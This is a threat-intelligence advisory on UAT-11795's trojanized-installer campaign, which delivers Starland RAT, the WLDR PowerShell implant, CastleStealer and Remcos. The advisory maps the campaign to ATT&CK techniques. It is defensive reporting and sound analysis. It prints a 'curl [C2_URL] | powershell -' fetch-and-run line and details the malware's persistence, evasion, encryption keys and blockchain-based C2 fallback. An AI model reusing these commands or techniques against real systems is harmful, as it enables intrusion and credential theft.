# UAT-11795 (Russian) Trojanizes WebEx, Zoom, MobaXterm, DBeaver, FaceIT Installers to Deploy Starland RAT and Bespoke WLDR C2 Implant

> A financially motivated Russian-speaking threat actor tracked as UAT-11795 has been trojanizing installers for popular software (WebEx, Zoom, MobaXterm, DBeaver, FaceIT) since at least June 2025 to deliver the novel Starland RAT, a previously undocumented PowerShell C2 framework (WLDR), CastleStealer, and Remcos RAT. Victims are primarily in the United States, with secondary targeting in Germany, Romania, and Venezuela.

- **Published:** 2026-07-16T00:00:00Z
- **Last reviewed:** 2026-08-03T02:30:57Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1411
- **ID:** TL-2026-1411
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** UAT-11795 (Russia)
- **Detections:** 9 · **IOCs:** 55 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Cisco Talos and BleepingComputer disclosed a financially motivated campaign attributed to UAT-11795, a Russian-speaking threat cluster active since at least June 2025 (the actor's operational Telegram channel, "stuk komanda", was created June 5, 2025). The actor distributes trojanized installers for widely used desktop software — Cisco Webex, Zoom, MobaXterm v26.1, DBeaver Community Edition, and the FACEIT gaming/anti-cheat client — as its initial-access vector, abusing the trust users place in familiar productivity, developer, and gaming tools. Initial access begins with ClickFix-style social engineering that tricks the victim into executing a command which downloads a weaponized HTA file containing embedded VBScript (a Russian-language developer comment, "Добавление команды в автозапуск для текущего пользователя", was left in the VBScript). The VBScript drops a batch file to %APPDATA%\Local\Temp\ that retrieves the trojanized NSIS installer from staging infrastructure (eorthopaedics[.]com, sastoro[.]com, web-devtools[.]com, zynaris[.]io — several likely hijacked legitimate domains) and confirms execution via a Telegram bot notification (bot ID 8384531459, "skuefq_bot").

The installer bundles the real target software alongside a Python runtime (pythonw.exe) and a compiled Python loader disguised as LICENSE.txt, a technique intended to blend into the expected file manifest of a legitimate software package. NSIS invokes `pythonw.exe LICENSE.txt`, which XOR-decrypts (key 0xC6) an embedded payload to launch Starland RAT — a novel, in-memory Python-based remote access trojan. Starland performs sandbox/analysis-environment detection (hardcoded username/hostname blocklists including WDAGUtilityAccount, Cuckoo, Any.Run, Joe Sandbox, Hybrid Analysis; Zone.Identifier ADS checks), establishes persistence via a scheduled task (`PythonLauncher-{3 random chars}`, AtLogOn trigger, RunLevel Highest, created only if running as admin) and a Startup-folder LNK targeting pythonw.exe, attempts UAC bypass via ShellExecuteW `runas`, and also drops a Registry Run-key entry (`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MyApp` → mshta.exe pointing at the original HTA). It performs extensive host/AD reconnaissance (HWID from the C: drive volume serial number, RAM via WMIC, AV products via SecurityCenter2 WMI, domain membership, `whoami`/`systeminfo`/`net user /dom`/`nltest /dclist` when domain-joined), captures a Base64-encoded PNG screenshot, enumerates 40+ desktop/browser-extension cryptocurrency wallets, and exfiltrates a consolidated JSON fingerprint (XOR key "helo1") to both a Telegram bot and its C2 over HTTP POST.

Starland's C2 protocol supports four commands — `shellexecute` (arbitrary cmd/PowerShell), `x32`/`x64` (download and APC-inject 32-bit or 64-bit shellcode), and `download` (fetch/execute EXE/MSI/DLL/ZIP) — plus an HTTP 403 kill-switch response that triggers self-deletion. The x64 shellcode path patches AmsiScanBuffer (AMSI bypass) and EtwEventWrite (ETW bypass) in memory, LZX-decompresses its payload, and reflectively loads CastleStealer, a .NET infostealer that directly reads Chromium SQLite credential stores, decrypts Firefox DPAPI/AES-GCM credentials, harvests crypto-wallet browser extensions, Discord and Telegram session files, and Steam credentials, exfiltrating over a raw TCP socket (it also excludes Russian-locale hosts and enforces a build-expiry timestamp). The x32 shellcode path uses the identical loader chain to deploy Remcos RAT, a long-abused commercial RAT providing keylogging, screen/webcam capture, audio recording, file management, shell execution, and clipboard monitoring.

Separately, Starland can pipe `curl [C2_URL] | powershell -` to fetch the WLDR stager, a previously undocumented, memory-resident PowerShell C2 framework. The WLDR stager XOR-decrypts an embedded downloader that derives the victim HWID (again from the C: volume serial number), appends it to hardcoded C2 URLs, and receives a Base64 JSON envelope (salt/IV/ciphertext/auth tag) decrypted with a key derived from a hardcoded password ("odg5t8mvssvh") plus the server-supplied salt, yielding the final memory-resident WLDR agent. The agent enforces a single-instance mutex ("f2j398fj239d8j23dkkskskkkkkkkkk"), performs its own WMI-based reconnaissance, re-derives its HWID, and communicates using AES-256-CBC with HMAC-SHA256 (encrypt-then-MAC) keyed via PBKDF2-SHA256 (5,000 iterations), a fresh IV per message, and a "WSv1" protocol tag — HTTP for the initial handshake, HTTPS (with Chrome-124 header mimicry) for a 10-second polling loop thereafter. Tasking runs through a PowerShell Runspace pool (up to 10 concurrent threads, real-time streamed output) with a PowerShell-Jobs fallback for batch execution, and a single hardcoded kill command terminates the agent.

For resilience against domain/IP takedown, Starland RAT queries the Polygon blockchain (via the legitimate polygon-rpc[.]com RPC endpoint, `eth_call` to smart contract `0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba`, function selector `0xc659f3b8`) to retrieve an XOR-encrypted (key "$m7*rYpry3") fallback C2 domain when the primary C2 is unreachable — a decentralized-infrastructure technique that complicates conventional blocklisting. Victimology is concentrated in the United States, with secondary victims identified in Germany, Romania, and Venezuela via passive DNS analysis; targeting is opportunistic and volume-driven across developer/IT-admin, enterprise-collaboration, and gamer victim profiles. No CVEs are associated with this campaign — the vector is social-engineering-driven trojanized software distribution rather than a software vulnerability.

## MITRE ATT&CK

- T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
- T1204.002 User Execution: Malicious File
- T1566 Phishing
- T1189 Drive-by Compromise
- T1059.001 Command and Scripting Interpreter: PowerShell
- T1059.006 Command and Scripting Interpreter: Python
- T1059.005 Command and Scripting Interpreter: Visual Basic
- T1059.003 Command and Scripting Interpreter: Windows Command Shell
- T1569.002 System Services: Service Execution
- T1106 Native API
- T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
- T1053.005 Scheduled Task/Job: Scheduled Task
- T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control
- T1055 Process Injection
- T1027 Obfuscated Files or Information
- T1497 Virtualization/Sandbox Evasion
- T1036 Masquerading
- T1685 Disable or Modify Tools
- T1620 Reflective Code Loading
- T1140 Deobfuscate/Decode Files or Information
- T1070.004 Indicator Removal: File Deletion
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1552.001 Unsecured Credentials: Credentials In Files
- T1082 System Information Discovery
- T1518.001 Software Discovery: Security Software Discovery
- T1087.002 Account Discovery: Domain Account
- T1482 Domain Trust Discovery
- T1033 System Owner/User Discovery
- T1016 System Network Configuration Discovery
- T1113 Screen Capture
- T1123 Audio Capture
- T1125 Video Capture
- T1056.001 Input Capture: Keylogging
- T1074.001 Data Staged: Local Data Staging
- T1560 Archive Collected Data
- T1071.001 Application Layer Protocol: Web Protocols
- T1102.002 Web Service: Bidirectional Communication
- T1573.001 Encrypted Channel: Symmetric Cryptography
- T1008 Fallback Channels
- T1105 Ingress Tool Transfer

## Sources

- [Russian hackers trojanize Webex, Zoom apps to push Starland malware](https://www.bleepingcomputer.com/news/security/russian-hackers-trojanize-webex-zoom-apps-to-push-starland-malware/)
- [UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign](https://blog.talosintelligence.com/uat-11795-deploys-novel-starland-rat-and-bespoke-wldr-c2-implant-in-financially-motivated-campaign/)
- [Remcos, Software S0332](https://attack.mitre.org/software/S0332/)
- [ClickFix Removes Your Background but Leaves the Malware (CastleLoader/CastleStealer family background)](https://www.huntress.com/blog/clickfix-castleloader-backgroundfix)
- [NSIS Abuse and sRDI Shellcode: Anatomy of the Winos 4.0 Campaign](https://www.rapid7.com/blog/post/2025/05/22/nsis-abuse-and-srdi-shellcode-anatomy-of-the-winos-4-0-campaign/)
- [Static Unpacking for the Widespread NSIS-based Malicious Packer Family](https://research.checkpoint.com/2024/static-unpacking-for-the-widespread-nsis-based-malicious-packer-family/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1411